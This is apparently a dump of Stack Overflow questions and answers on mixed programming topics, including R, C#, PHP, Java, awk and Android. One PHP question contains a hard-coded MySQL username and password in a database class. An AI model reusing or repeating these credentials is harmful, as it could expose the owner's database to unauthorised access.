33939674	0	 <p>I assume that by *ply you mean the <code>apply</code> family (apply, sapply, lapply, tapply, etc.). If not, I am sorry.</p> <p>Still, I think that you can easily achieve what you want with the <code>&lt;&lt;-</code> operator. It will impact your performance, though.</p> <pre><code># Let's assume that your loop output is computed by this function : &gt; do.some.stuff &lt;- function(p) { + p + } # If we want to save the last output… &gt; ret &lt;- sapply(1:100000,function(x) { + to.save &lt;&lt;- do.some.stuff(x) + to.save + }) &gt; to.save [1] 100000 # If we want to save all the computed outputs… &gt; to.save &lt;- vector() &gt; ret &lt;- sapply(1:100000,function(x) { + ret &lt;- do.some.stuff(x) + to.save &lt;&lt;- c(to.save, ret) + ret + }) ^C # &lt;-- manual interruption &gt; str(to.save) int [1:21753] 1 2 3 4 5 6 7 8 9 10 ... # Example for dplyr and do(): library(dplyr) system.time({ to.save &lt;- vector() final.ret &lt;- sample_n(iris,10e4,replace=T) %&gt;% rowwise %&gt;% do(w_mean={ ret &lt;- round(.$Sepal.Width,digits=1) to.save &lt;&lt;- c(placeholder,out) ret }) }) # Commenting out the assignment saves about 80 seconds for me. </code></pre> <p>The impact on the performance is quite important, though. Besides, it is not a natural way of using an <code>apply</code> function. Maybe <code>for</code> is the answer here.</p>
20433762	0	 <p>This is happening because the redirect_uri your android app is using to create the initial login flow is different from the redirect_uri the server is using when it tries to excange the code for an access_token. The redirect_uri the user returns to and the redirect_uri used in the token exchange must match.</p>
375895	0	Techniques for building HTML in code <p>An html template is compiled into the application as a resource. A <strong>fragment</strong> of the HTML template looks like:</p> <pre><code>&lt;A href="%PANELLINK%" target="_blank"&gt; &lt;IMG border="0" src="%PANELIMAGE%" style="%IMAGESTYLE%"&gt; &lt;/A&gt;&lt;BR&gt; %CAPTIONTEXT% </code></pre> <p>i like it like this because the larger resource HTML file contains styling, no-quirks mode, etc.</p> <p>But as is always the case, they now want the option that the Anchor tag should be omitted if there is no link. Also if there is no caption, then the BR tag should be omitted.</p> <hr> <h2>Considered Technique Nº1</h2> <p>Given that i don't want to have to build entire HTML fragments in C# code, i <em>considered</em> something like:</p> <pre><code>%ANCHORSTARTTAGPREFIX%&lt;A href="%PANELLINK%" target="_blank"&gt;%ANCHORSTARTTAGPOSTFIX% &lt;IMG border="0" src="%PANELIMAGE%" style="%IMAGESTYLE%"&gt; %ANCHORENDTAGPREFIX%&lt;/A&gt;%ANCHORENDTAGPOSTFIX%CAPTIONPREFIX%&lt;BR&gt; %CAPTIONTEXT%%CAPTIONPOSTFIX% </code></pre> <p>with the idea that i could use the pre and postfixes to turn the HTML code into:</p> <pre><code>&lt;!--&lt;A href="%PANELLINK%" target="_blank"&gt;--&gt; &lt;IMG border="0" src="%PANELIMAGE%" style="%IMAGESTYLE%"&gt; &lt;!--&lt;/A&gt;--&gt;&lt;!--&lt;BR&gt; %CAPTIONTEXT%--&gt; </code></pre> <p>But that is just rediculous, plus one answerer reminds us that it wastes bandwith, and can be buggy.</p> <hr> <h2>Considered Technique Nº2</h2> <p>Wholesale replacement of tags:</p> <pre><code>%AnchorStartTag% &lt;IMG border="0" src="%PANELIMAGE%" style="%IMAGESTYLE%"&gt; %AnchorEndTag%%CaptionStuff% </code></pre> <p>and doing a find-replace to change</p> <pre><code>%AnchorStartTag% </code></pre> <p>with</p> <pre><code>"&lt;A href=\"foo\" target=\"blank\"" </code></pre> <hr> <h2>Considered Technique Nº3</h2> <p>i considered giving an ID to the important HTML elements:</p> <pre><code>&lt;A id="anchor" href="%PANELLINK%" target="_blank"&gt; &lt;IMG border="0" src="%PANELIMAGE%" style="%IMAGESTYLE%"&gt; &lt;/A&gt;&lt;BR id="captionBreak"&gt; %CAPTIONTEXT% </code></pre> <p>and then using an HTML DOM parser to programatically delete nodes. But there is no easy access to a trustworthy HTML DOM parser. If the HTML was instead xhtml i would use various built-in/nativly available xml DOM parsers.</p> <hr> <h2>Considered Technique Nº4</h2> <p>What i actually have so far is:</p> <pre><code>private const String htmlEmptyTemplate = @"&lt;!DOCTYPE HTML PUBLIC ""-//W3C//DTD HTML 4.01//EN\"""+Environment.NewLine+ @" ""http://www.w3.org/TR/html4/strict.dtd""&gt;"+Environment.NewLine+ @"&lt;HTML&gt;"+Environment.NewLine+ @"&lt;HEAD&gt;"+Environment.NewLine+ @" &lt;TITLE&gt;New Document&lt;/TITLE&gt;"+Environment.NewLine+ @" &lt;META http-equiv=""X-UA-Compatible"" content=""IE=edge""&gt;"""+Environment.NewLine+ @" &lt;META http-equiv=""Content-Type"" content=""text/html; charset=UTF-8""&gt;"+Environment.NewLine+ @"&lt;/HEAD&gt;"+Environment.NewLine+ @""+Environment.NewLine+ @"&lt;BODY style=""margin: 0 auto""&gt;"+Environment.NewLine+ @" &lt;DIV style=""text-align:center;""&gt;"+Environment.NewLine+ @" %ContentArea%"+Environment.NewLine+ @" &lt;/DIV&gt;" + Environment.NewLine + @"&lt;/BODY&gt;" + Environment.NewLine + @"&lt;/HTML&gt;"; private const String htmlAnchorStartTag = @"&lt;A href=""%PANELLINK%"" target=""_blank""&gt;"; //Image is forbidden from having end tag private const String htmlImageTag = @"&lt;IMG border=""0"" src=""%PANELIMAGE%"" style=""%IMAGESTYLE%""&gt;"; private const String htmlCaptionArea = @"&lt;BR&gt;%CAPTIONTEXT%"; </code></pre> <p>And i already want to gouge my eyeballs out. Building HTML in code is a nightmare. It's a nightmare to write, a nightmare to debug, and a nightmare to maintain - and it will makes things difficult on the next guy. i'm hoping for another solution - since i <strong>am</strong> the next guy.</p>
24122695	1	Interate through a Pandas dataframe <p>I want to upsample my data. It is hourly data that I want to turn into 5 minute data by resampling and filling in the missing data with a linear interpolation between the hours. </p> <p><a href="https://dl.dropboxusercontent.com/u/100778374/Wind%20Data/Wind_Locations.csv" rel="nofollow">Wind_locations.csv</a>, the data frame has a column called 'CH'. I want to iterate through each row of 'CH' and subtract the next row from the current. This is how I think it should work, but it is not, any suggestions?</p> <p>I tried using<br> <code>data = pd.read_csv('Wind_Locations.csv')</code><br> <code>data.CH.resample('5min', how='sum')</code> </p> <p>But I get the error <code>TypeError: Only valid with DatetimeIndex or PeriodIndex</code></p> <p>Any suggestions?</p>
14956272	0	javascript date varies across timezone <pre><code>var dt_now = '2-22-2013';//mm-dd-yyyy, this is dynamic in actual code dt_now = dt_now.split("-"); dt_now = addZero(dt_now[2])+'-'+addZero(dt_now[0])+'-'+addZero(dt_now[1]); dt_now = new Date(dt_now); </code></pre> <p>I am using the above code to convert a user defined text to actual date for use in rest of my code. it seems to work ok for me but on another system which is situated in a different timezone(my time -12 hours), the date comes out as <code>February 21st</code> instead of <code>Feb 22nd</code>, that is, it is running <strong>one day behind the expected date</strong>. I have no idea how to fix this or what the error might be. Any suggestions?</p>
22904103	0	 <p>You have a shadowing problem. You declare...</p> <pre><code>private JButton findnext; private JButton replace; private JButton delete; private JButton upper; </code></pre> <p>But in your constructor you do...</p> <pre><code>JButton findnext = new JButton("FindNext"); //... JButton replace = new JButton("Replace"); //... JButton delete = new JButton("Delete"); //... JButton upper = new JButton("Upper"); </code></pre> <p>Which is re-declaring those variables.</p> <p>This means that when you try and do...</p> <pre><code>if (source == findnext) { </code></pre> <p>It's always <code>false</code></p> <p>You're also adding the <code>ActionListener</code> (<code>this</code>) to the <code>findnext</code> button four times...I think you mean to be adding it to each of the other buttons</p> <p>Beware, there is already a class called <code>Window</code> in AWT, which could cause confusion for people. It's also discouraged to extend directly from a top level container like <code>JFrame</code> and instead should start with a <code>JPanel</code> and the add it to an instance of <code>JFrame</code> (or what ever container you like)</p>
3318325	0	 <p>See <a href="http://www.w3schools.com/media/media_mimeref.asp" rel="nofollow noreferrer">http://www.w3schools.com/media/media_mimeref.asp</a> .</p> <p>xls is <code>application/vnd.ms-excel</code>, ppt is <code>application/vnd.ms-powerpoint</code>.</p>
38700390	0	 <p>I assume <code>_renderList</code> is responsible for render your listview component. You can call it in render function.</p> <pre><code>render(){ return ( &lt;View&gt; {this._renderList()} /*......rest of your code....*/ &lt;/View&gt; ); </code></pre>
24635052	0	Page goes blank when working with database <p>I am working on a form for a friend. When a user submits the form their IP address is added into a database table. Every time a user then visits the form I run a check to see if their IP address is already in the table. If it is then they have already submitted the form. </p> <p>I did this previously but decided to change how it works and now when I got to run any queries or connect to the database the whole page goes blank.</p> <p>Here is my database class (class.Database.inc.php):</p> <pre><code>&lt;?php /** * MySQLi database; only one connection is allowed. */ class Database { private $_connection; // Store the single instance. private static $_instance; /** * Get an instance of the Database. * @return Database */ public static function getInstance() { if (!self::$_instance) { self::$_instance = new self(); } return self::$_instance; } /** * Constructor. */ public function __construct() { $this-&gt;_connection = new mysqli('localhost', 'MHP_TICKET_ADMIN', 'fZx_142n', 'MHP_TICKET_SYS'); // Error handling. if (mysqli_connect_error()) { trigger_error('Failed to connect to MySQL: ' . mysqli_connect_error(), E_USER_ERROR); } } ?&gt; </code></pre> <p>The code at the top of the form file (index.php):</p> <pre><code>&lt;?php require_once('class.Database.inc.php'); // Check database to see if the user has already submitted. $user_ip = $_SERVER['REMOTE_ADDR']; $db = Database::getInstance(); $mysqli = $db-&gt;getConnection(); $sql_query = "SELECT ip FROM ip_address WHERE ip = '$user_ip'"; $result = $mysqli-&gt;query($sql_query); if ($row = $result-&gt;fetch_assoc()) { die('You have already placed your submission.'); } ?&gt; </code></pre> <p><strong>EDIT</strong> I entered the credentials in the wrong order, and it took me 2 hours to figure that out...</p>
12084126	0	 <p>A <code>ggplot2</code> solution:</p> <p>I'm going to use the US population dataset in R:</p> <pre><code>population &lt;- data.frame(Year=seq(1790, 1970, length.out=length(uspop)), Population=uspop, Error=rnorm(length(uspop), 5)) library(ggplot2) ggplot(population, aes(x=Year, y=Population, ymin=Population-Error, ymax=Population+Error))+ geom_line(colour="red", size=1.2)+ geom_point(pch=2)+ geom_errorbar(width=0.9) </code></pre> <p><img src="https://i.stack.imgur.com/LXFIg.png" alt="enter image description here"></p>
18563702	0	Eclipse Plug-in Enable/Disable Menu Items Programatically <p>I am writing an eclipse plug-in that extends <em>AbstractDebugView</em>. </p> <p>My plugin has one context menu item, one pull-down menu item, and one toolbar menu item. The action associated with these menu items is a class I created (<em>CopyAction</em>) which extends <em>org.eclipse.jface.action.Action</em>.</p> <pre class="lang-java prettyprint-override"><code>public class CopyAction extends Action { private String text; private String toolTipText; private boolean enabled; private ImageDescriptor imageDescriptor; ... public CopyAction() { text = "Copy"; toolTipText = "Copy Action"; enabled = false; imageDescriptor = ...; } ... @Override public void setEnabled(boolean enabled) { this.enabled = enabled; } @Override public boolean isEnabled() { return enabled; } ... } </code></pre> <p>Note that by default my action is disabled (enabled = false).</p> <p>In my plug-in main view class I create and add the copy action to each of the menus:</p> <pre class="lang-java prettyprint-override"><code>public class MyDebugView extends AbstractDebugView { CopyAction copyAction; ... @Override protected Viewer createViewer(Composite parent) { // do some stuff to create the viewer content createActions(); fillLocalPullDown(); ... } @Override protected void createActions() { copyAction = new CopyAction(); } private void fillLocalPullDown() { IActionBars bars = getViewSite().getActionBars(); bars.getMenuManager().add(copyAction); } @Override protected void fillContextMenu(IMenuManager manager) { manager.add(copyAction); } @Override protected void configureToolBar(IToolBarManager manager) { manager.add(copyAction)); } } </code></pre> <p>Everything works great up to this point. When I test my plug-in I can see the context menu, the toolbar menu, and the pull-down menu.</p> <p>All the menu items are disabled, as I would expect since the constructor for <em>CopyAction</em> sets enabled = false;</p> <p>What I want to do is enable the menu items when a selection has changed in my plug-in view (which happens to be a <em>TreeViewer</em>). In the callback for the tree selection I do the following:</p> <pre class="lang-java prettyprint-override"><code>private class MySelectionChangedListener implements ISelectionChangedListener { public void selectionChanged(SelectionChangedEvent event) { // determine if the copy action should be enabled ... copyAction.setEnabled(true) } } </code></pre> <p>The issue I am running into is that even though I set enabled to true on <em>copyAction</em> the menu items do not become enabled.</p> <p>My suspicion as to what's happening is even though I set the enabled property to true nothing happens because the menu(s) need to be notified that the property has changed. Is there some method I have to call to <em>force</em> the menu managers to update themselves thereby checking the enabled property of the copy action?</p> <p>====</p> <p>I have been thinking about the way I have been coding my plug-in and researching the internet on how to add/enable/disable menu items to an Eclipse plug-in. Nearly all of the examples I have seen use <em>plugin.xml</em> to add the menu contributions instead of doing it programatically. (Most also use commands, not actions.) I have also seen where you can enable/disable/hide/show menus using property testers also configured in <em>plugin.xml</em>.</p> <p>Should I just drop the way I am doing things now and do it using the plugin descriptor and property testers? I hate to throw away all the work I have done up to this point but it's more important for me to do it right rather than fuss over time spent.</p>
4794788	0	 <ol> <li>If you don't have binlogs enabled, or cannot be sure at which point your backup snapshot was made trying to get the datadir running in another server is about your only option. (Which for maximum possibility of recovery should be as much like the original as possible in MySQL version and other environmental data).</li> <li>If you <em>do</em> have active binlogs, look at <a href="http://dev.mysql.com/tech-resources/articles/point_in_time_recovery.html" rel="nofollow">this manual</a></li> </ol>
4046286	0	 <p>One technique that's common (especially in older editors) is called a split buffer. Basically, you "break" the text into everything before the cursor and everything after the cursor. Everything before goes at the beginning of the buffer. Everything after goes at the end of the buffer.</p> <p>When the user types in text, it goes into the empty space in between without moving any data. When the user moves the cursor, you move the appropriate amount of text from one side of the "break" to the other. Typically there's a lot of moving around a single area, so you're usually only moving small amounts of text at a time. The biggest exception is if you have a "go to line xxx" kind of capability.</p> <p>Charles Crowley has written a much more complete <a href="http://www.cs.unm.edu/~crowley/papers/sds/sds.html">discussion of the topic</a>. You might also want to look at <a href="http://www.finseth.com/craft/index.html">The Craft of Text Editing</a>, which covers split buffers (and other possibilities) in much greater depth.</p>
19292488	0	how use json in javascript with django <p>I am new in django and python I'm trying use a json file in javascript using django</p> <p>The Javascript works fine when I use without django but when I do with django show me this error:</p> <pre><code>"TypeError: node is null" </code></pre> <p>I call the json this way:</p> <pre><code>d3.json("jsonfile.json", function(node) { .... } </code></pre> <p>I tried to put the json in the templates dir with the html file and with js file but didn´t work</p> <p><strong>Edit 1:</strong></p> <pre><code>d3.json("jsonfile.json", function(error, node) { .... } </code></pre> <p>Shows me : "TypeError: node is undefined"</p> <p>All the js are in the same dir:</p> <pre><code>&lt;script src="{{ STATIC_URL }}js/d3.v3.min.js" type= text/javascript&gt;&lt;/script&gt; &lt;script src="{{ STATIC_URL}}js/graph.js" type= "text/javascript"&gt;&lt;/script&gt; </code></pre> <p><strong>Edit2:</strong></p> <p>My JSON:</p> <pre><code>{ "coordinador":[ {"name":"ford","grupo":0}, {"name":"user1","grupo":1}, {"name":"user2","grupo":1}, {"name":"user3","grupo":1}, {"name":"car1","grupo":2}, {"name":"car2","grupo":2}, {"name":"car3","grupo":2}, {"name":"car4","grupo":2}, {"name":"car5","grupo":2} ], "links":[ {"source":1,"target":0,"origen":"user1","objetivo":"ford"}, {"source":2,"target":0,"origen":"user2","objetivo":"ford"}, {"source":3,"target":0,"origen":"user3","objetivo":"ford"}, {"source":4,"target":1,"origen":"car1","objetivo":"user1"}, {"source":5,"target":1,"origen":"car2","objetivo":"user1"}, {"source":6,"target":2,"origen":"car3","objetivo":"user2"}, {"source":7,"target":2,"origen":"car4","objetivo":"user2"}, {"source":8,"target":3,"origen":"car5","objetivo":"user3"} ] } </code></pre>
5579157	0	c# 4.0 get class properties with (specified attribute and attribute.data) <p>I would like to get what properties of my class have an exact attribute with a concrete string. I have this implementation (Attribute and Class):</p> <pre><code>[AttributeUsage(AttributeTargets.Property, AllowMultiple = false, Inherited = false)] public class IsDbMandatory : System.Attribute { public readonly string tableField; public IsDbMandatory (string tableField) { this.tableField= TableField; } } public Class MyClass { [IsDbMandatory("ID")] public int MyID { get; set; } } </code></pre> <p>Then I get the property with the concrete attribute in this way:</p> <pre><code>public class MyService { public bool MyMethod(Type theType, string myAttributeValue) { PropertyInfo props = theType.GetProperties(). Where(prop =&gt; Attribute.IsDefined(prop, typeof(IsDbMandatory))); } } </code></pre> <p>But I need only the properties with concrete attribute <code>isDbMandatory</code> AND concrete string <code>myAttributeValue</code> inside.</p> <p>How can I do it ?</p>
10738736	0	 <p>User roles then setup the locations in web.config</p> <pre><code>&lt;location path="foo"&gt; &lt;system.web&gt; &lt;authorization&gt; &lt;allow roles="fooUsers"/&gt; &lt;deny users="*"/&gt; &lt;/authorization&gt; &lt;/system.web&gt; &lt;/location&gt; </code></pre> <p>OR for each folder created add a new web.config to folder root</p> <pre><code>&lt;?xml version="1.0"?&gt; &lt;configuration&gt; &lt;system.web&gt; &lt;authorization&gt; &lt;allow roles="folderUsers"/&gt; &lt;deny users="*" /&gt; &lt;/authorization&gt; &lt;/system.web&gt; &lt;/configuration&gt; </code></pre>
5276395	0	Is it possbile to Unregister a BroadCast Lister <p>I have a BroadcastReceiver registered in the manifest for 5 different events.</p> <p>For simplicity, let's say events are named A,B,C,D and E.</p> <p>After receiving event B, i want to unregister the receiver to stop listening for event E. Can this be done? </p>
4145585	0	Free delphi skinning library? <p>Does anybody of you know a good, free delphi skinning library for my software? I can't find any free libraries except for AlphaControls Free.</p> <p>Thanks in advance.</p>
9047551	0	 <p>They devided <code>c</code> with <code>m*2</code> and assigned the value to <code>c</code>, then made sure <code>h</code> is not nothing:</p> <pre><code>c/=m*2;h!= </code></pre> <p>In other words: he did everything. The <em>ultimate</em> everything!</p> <hr> <p>Or maybe the cat sat on the keyboard and produced a random glob of characters. Cats are <em>very</em> good at that.</p> <hr> <p>I'm just kidding. ♥</p> <hr> <p><strong>Important bit:</strong> If anything, this "attack" has nothing to do with jQuery. Maybe they tried to make the web server error, somehow? Which they did, but I doubt it could do any damage. So, it's not really a threat.</p>
10008273	0	 <p>OnStart (Role) is in another process than your web page (pages, Global.asax ..). At least when using <a href="http://blogs.msdn.com/b/windowsazure/archive/2010/12/02/new-full-iis-capabilities-differences-from-hosted-web-core.aspx" rel="nofollow">Full IIS mode</a>.</p>
34710985	0	 <p>For autocompletion of dynamically created objects (if its type is not recognized automatically) most IDEs support type-hinting comments.</p> <p>For example:</p> <pre><code>/** @var Car $car */ </code></pre> <p>See <a href="http://www.phpdoc.org/docs/latest/references/phpdoc/tags/var.html" rel="nofollow">http://www.phpdoc.org/docs/latest/references/phpdoc/tags/var.html</a></p>
13802299	0	 <p>Here's one way using <code>GNU awk</code>. Run like:</p> <pre><code>awk -f script.awk file1 file2 </code></pre> <p>Contents of <code>script.awk</code>:</p> <pre><code>BEGIN { FS="[ =:,]" } FNR==NR { a[$1]=$0 next } $2 in a { split(a[$2],b) for (i=3;i&lt;=NF-1;i+=2) { for (j=2;j&lt;=length(b)-1;j+=2) { if ($(i+1) == b[j]) { line = (line ? line "," : "") $i ":" b[j+1] } } } print $1 "=" line line = "" } </code></pre> <p>Results:</p> <pre><code>Tom=John:5,Mike:5 </code></pre> <p>Alternatively, here's the one-liner:</p> <pre><code>awk -F "[ =:,]" 'FNR==NR { a[$1]=$0; next } $2 in a { split(a[$2],b); for (i=3;i&lt;=NF-1;i+=2) for (j=2;j&lt;=length(b)-1;j+=2) if ($(i+1) == b[j]) line = (line ? line "," : "") $i ":" b[j+1]; print $1 "=" line; line = "" }' file1 file2 </code></pre> <p>Explanation:</p> <blockquote> <p>Change awk's field separator to a either a space, equals, colon or comma.</p> <p>'FNR==NR { ... }' is only true for the first file in the arguments list.</p> <p>So when processing file1, awk will add column '1' to an array and we assign the whole line as a value to this array element.</p> <p>'next' will simply skip processing the rest of the script, and read the next line of input.</p> <p>When awk has finished reading the input in file1, it will continue reading file2. However, this also resets 'FNR' to '1', so awk will skip processing the 'FNR==NR' block for file2 because it is not longer true.</p> <p>So for file2: if column '2' can be found in the array mentioned above:</p> <blockquote> <p>Split the value of the array element into another array. This essentially splits up the whole line in file1.</p> <p>Now create two loops.</p> <blockquote> <p>The first will loop through all the names in file2</p> <p>And the second will loop through all the values in the (second) array (this essentially loops over all the fields in file1).</p> </blockquote> <p>Now when a value succeeding a name in file2 is equal to one of the key numbers in file1, create a line construct that looks like: 'name:number_following_key_number_from_file1'.</p> <p>When more names and values are found during the loops, the quaternary construct '( ... ? ... : ...)' adds these elements onto the end of the line. It's like an if statement; if there's already a line, add a comma onto the end of it, else don't do anything.</p> <p>When all the loops are complete, print out column '1' and the line. Then empty the line variable so that it can be used again.</p> </blockquote> </blockquote> <p>HTH. Goodluck.</p>
11831870	0	 <p>The fact that it is hidden changes nothing. The problem is probably that the js code is before the button HTML. Either put it after, or put it in a listener like <code>$(document).ready()</code> to make sure it has been processed when your try to access it.</p>
5114105	0	 <p>If all you want to do is output each question (without any validation!) you don't need the question variable at all. Just do:</p> <pre><code>echo 'Question #' . ($i + 1) . ': ' . $_POST['question'][$i]; </code></pre>
26666466	1	I cannot get my "if" command to work properly <p>I am trying to add two numbers, even if they contain "-" or ".", but my if command is wrong somehow, here is the code:</p> <pre><code>def add(): print "\nAddition" print " " print "What is your first number?" preadd1=raw_input(prompt) print "What is your second number?" preadd2=raw_input(prompt) if preadd1.isdigit() and preadd2.isdigit(): add1=int(preadd1) add2=int(preadd2) add_answer= add1+add2 print " " print add_answer add() elif preadd1=="pike" or preadd2=="pike": pike() elif "-" in preadd1 or "." in preadd1 or "-" in preadd2 or "." in preadd2 and preadd1.replace("-","").isdigit() and preadd1.replace(".","").isdigit() and preadd2.replace("-","").isdigit() and preadd2.replace(".","").isdigit(): add1=float(preadd1) add2=float(preadd2) add_answer=add1+add2 print "" print add_answer add() else: print "\nPlease enter two numbers." add() add() </code></pre> <p>when I enter a non-number like "-sf" it returns the error:</p> <pre><code>ValueError: could not convert string to float: -sf </code></pre> <p>this makes no sense to me, seeing as a made sure <code>preadd1.replace("-","").isdigit() and preadd1.replace(".","").isdigit() and preadd2.replace("-","").isdigit() and preadd2.replace(".","").isdigit()</code></p> <p>Please help.</p>
12430710	0	 <p>Yes, It is possible but you need a <code>Rooted</code> device with <code>Superuser</code> Access. Try using the following code:</p> <pre><code>try { Process proc = Runtime.getRuntime() .exec(new String[]{ "su", "-c", "reboot -p" }); proc.waitFor(); } catch (Exception ex) { ex.printStackTrace(); } </code></pre> <p>If you plan on doing this without <code>Root Privileges</code>, forget it. The only way to do that is to use <code>PowerManager</code> but that won't work unless your app is signed with the <code>System Firmware Key</code>.</p> <p><em>[via <a href="http://stackoverflow.com/a/12430612/1533054">Programmatically switching off Android phone</a>]</em></p>
26469891	0	 <p>Try doing the select after casting the join result to a list. </p> <pre><code>public IEnumerable&lt;MergeObj&gt; QueryJoin() { List&lt;TableObj1&gt; t1 = conn.Table&lt;TableObj1&gt;().ToList(); List&lt;TableObj2&gt; t2 = conn.Table&lt;TableObj2&gt;().ToList(); return t1.Join(t2, outer =&gt; outer.Id, inner =&gt; inner.Id, (outer, inner) =&gt; new MergeObj { Obj1 = outer, Obj2 = inner }); } </code></pre> <p>Edit : Since your database don't seems to support join, you can extract the result of your database in two distinct List and then join them using LINQ.</p>
16518011	0	Match with Regex any number except a specific number <p>Using regex I would like to match strings like:</p> <ul> <li>3.2 Title 1</li> <li>3.5 Title 2</li> <li>3.10 Title 3</li> </ul> <p>I did <code>@"^3\.\d+[ ]."</code> But I would like to do not match strings of "3." followed by a single 1 like :</p> <ul> <li>3.1 Title 4</li> </ul> <p>I tried <code>@"^3\.[^1][ ]."</code> but it doesnt match strings like 3.10 </p> <p>So How can I match any numbers except the number 1?</p> <p>Thank you in advance </p>
29059295	0	 <p>Your <code>print_values</code> method is an <em>instance</em> method, though it does not use the instance in it.</p> <p>I believe you meant to use the instance data for your implementation:</p> <pre><code>class LinkedListNode attr_accessor :value, :next_node def initialize(value, next_node = nil) @value = value @next_node = next_node end def print_values print "#{value} --&gt; " if next_node.nil? print "nil" return else next_node.print_values end end end node1 = LinkedListNode.new(37) node2 = LinkedListNode.new(99, node1) node3 = LinkedListNode.new(12, node2) node3.print_values </code></pre> <p>Another option is to make the method a <em>static</em> method, which does not need an instance, which will look like:</p> <pre><code>class LinkedListNode attr_accessor :value, :next_node def initialize(value, next_node = nil) @value = value @next_node = next_node end def self.print_values(list_node) print "#{list_node.value} --&gt; " if list_node.next_node.nil? print "nil" return else print_values(list_node.next_node) end end end node1 = LinkedListNode.new(37) node2 = LinkedListNode.new(99, node1) node3 = LinkedListNode.new(12, node2) LinkedListNode.print_values(node3) </code></pre> <p>Both options will be considered <em>recursive</em>, since the method calls itself. There are no rules about recursion (calling another method is allowed), but there are things you need to be aware of, like if you don't have a good <em>stopping condition</em>, your method might "explode" with a stack overflow exception.</p>
20588519	0	 <p>There's no workaround. Menu items can't be batched.</p> <p>But you could make a regular sprite behave as a button. Layer detects touch, checks if touch was on "button" sprite, executesutton block or selector.</p>
26563776	0	 <p>KDevelop, QtCreator, XCode and many other editors offer this feature. And more will come, as nowadays it's rather trivial to implement in some way based on Clang.</p>
16025291	0	How do I determine if a box intersects a mongoDB collection of boxes using geospacial method? <p>I have figured out how to make the query for the intersection, but can't figure out how to define the boxes in the database so that it returns me all boxes that intersect with my query parameter.</p> <p>How do I accomplish this?</p>
27665257	0	 <p>The result being a <code>Hash</code>, you can call <code>values</code> on it: </p> <pre><code>res = ActiveRecord::Base.connection.execute(q_cmd) res.values </code></pre> <p>This will give you just the values in an array!</p> <p>Reference documentation: <a href="http://www.ruby-doc.org/core-2.1.5/Hash.html#method-i-values" rel="nofollow"><code>Hash#values</code></a>.</p>
11549223	0	Actionmailer Rails 3 <p>I have added a contact form to my site and am having a problem, when the message is sent I get my flash message, "successfully sent", however the email never arrives in my inbox. I am in development mode at the moment and my app/config file looks like this</p> <pre><code> class Application &lt; Rails::Application ActionMailer::Base.delivery_method = :smtp ActionMailer::Base.perform_deliveries = true ActionMailer::Base.raise_delivery_errors = true config.action_mailer.smtp_settings = { :address =&gt; "smtp.gmail.com", :port =&gt; 587, :domain =&gt; "gmail.com", :user_name =&gt; "myemail@gmail.com", :password =&gt; "example", :authentication =&gt; :plain, :enable_starttls_auto =&gt; true } config.action_mailer.default_url_options = { :host =&gt; "gmail.com" } </code></pre> <p>My contact Controller is like this</p> <pre><code> def new @message = Message.new end def create @message = Message.new(params[:message]) if @message.valid? NotificationsMailer.new_message(@message).deliver redirect_to(root_path, :notice =&gt; "Message was successfully sent.") else flash.now.alert = "Please fill all fields." render :new end end end </code></pre> <p>and finally my Notification Mailer</p> <pre><code> class NotificationsMailer &lt; ActionMailer::Base default :from =&gt; "myemail@gmail.com" default :to =&gt; "myemail@gmail.com" def new_message(message) @message = message if message.file attachment_name = message.file.original_filename attachments[attachment_name] = message.file.read end mail(:subject =&gt; "[myemail@gmail.com] #{message.subject}") end end </code></pre> <p>Am I missing anything obvious here as I have implemented this in another site which worked fine, just cant figure out what is going on</p> <p>Any help appreciated</p>
18251020	0	 <p>I found the answer and solution: </p> <ol> <li>As for access the <code>adb shell</code>, I need to enable "Root access" for ADB in "Developer options" (this apply for stock Android 4.0.4 by Cyanogenmod but the same option could be present somewhere else in your phone)</li> <li>As for File Expert, the "Root Explorer" functionality is only available in their paid version <ul> <li>I'm going to use ES File Explorer and the likes</li> </ul></li> <li>I haven't found a solution for access through ADT's Device Manager yet but I'm happy having 2 options above</li> </ol>
11427457	0	What is the right syntax of IF statement in MySQL? <p>I have a small and simple MySQL code. But whenever I run it, I get error #1064. Can you tell me what is my mistake here?</p> <pre><code>IF ((SELECT COUNT(id) FROM tbl_states) &gt; 0) THEN BEGIN SELECT * FROM tbl_cities; END END IF </code></pre> <p>I also used some other conditions like the below one, but again I got an error.</p> <pre><code>IF (1=1) THEN BEGIN SELECT * FROM tbl_cities; END END IF </code></pre> <p>What I actually want to do is something like this:</p> <pre><code>IF ((SELECT COUNT(id) FROM tbl_states) &gt; 0) THEN BEGIN UPDATE ... END ELSE BEGIN INSERT ... END END IF </code></pre>
26289185	0	Prevent CSS media queries from breaking when doing masked domain forwarding <p>I recently set up a domain I own - jeffreydill.com - to point to a personal site I have hosted on GitHub - jeffdill2.github.io/portfolio. It's a GoDaddy domain and I'm using masked domain forwarding.</p> <p>However, when using the forwarded address - jeffreydill.com - all of my CSS media queries break. If I just go straight to the actual domain - jeffdill2.github.io/portfolio - everything is still working correctly.</p> <p>Any help would be much appreciated. Thanks!</p>
32782201	0	 <p>Have you checked that the account running the app pool is in the IIS_IUSRS group in User Manager (lusrmgr.msc)</p> <p>Cheers</p>
27336085	0	jar built with jwrapper doesn't work <p>jwrapper manipulates application jars somehow, and is resulting in a non-functioning jar: at runtime it throws a "MyClass cannot be cast to MyClass" type error. I believe this is caused by re-evaluating code that creates a class loader, leading to multiple instances of class MyClass being loaded.</p> <p>The jwrapper docs don't describe the changes made to the jar, except for the use of pack200. I've tested pack200 in isolation, and it does not cause this problem.</p> <p>I've also tested the jar built by jwrapper without using the wrapper executable, by passing it to "java -jar". So it's not jvm transmuting, or anything else that the wrapper is doing: the jar itself is broken.</p> <p>UPDATE:</p> <p>jwrapper allows skipping pack200, but then the install file is huge. Since pack200 works when run standalone, I could work around this if there were some way to tell jwrapper that the file is already packed. Using &lt;Pack200Exceptions&gt; doesn't help, because then it doesn't know the file is packed.</p>
14197574	0	Align a block outside of a table, with a cell in the table <p>I have a table with the following format:</p> <pre><code>&lt;a id="posMe"&gt;Age&lt;/a&gt; &lt;table&gt; &lt;thead&gt; &lt;th id="name"&gt;name&lt;/th&gt; &lt;th id="age"&gt;age&lt;/th&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td nowrap=""&gt;a&lt;/td&gt; &lt;td nowrap=""&gt;11&lt;/td&gt; &lt;/tr&gt; ... &lt;/tbody&gt; &lt;/table&gt; </code></pre> <p>I want 'posMe' to be aligned with the 'age' column.</p> <p>However, since I don't know what will be the width of "name", I can't position it statically, nor do I have any idea how to do this using javascript (or is there another way?)</p> <p>I can't add it as part of the thead, since I'm using some black box javascript for sorting, and it requires this format.</p> <p>Can this be done? Thanks for any help</p>
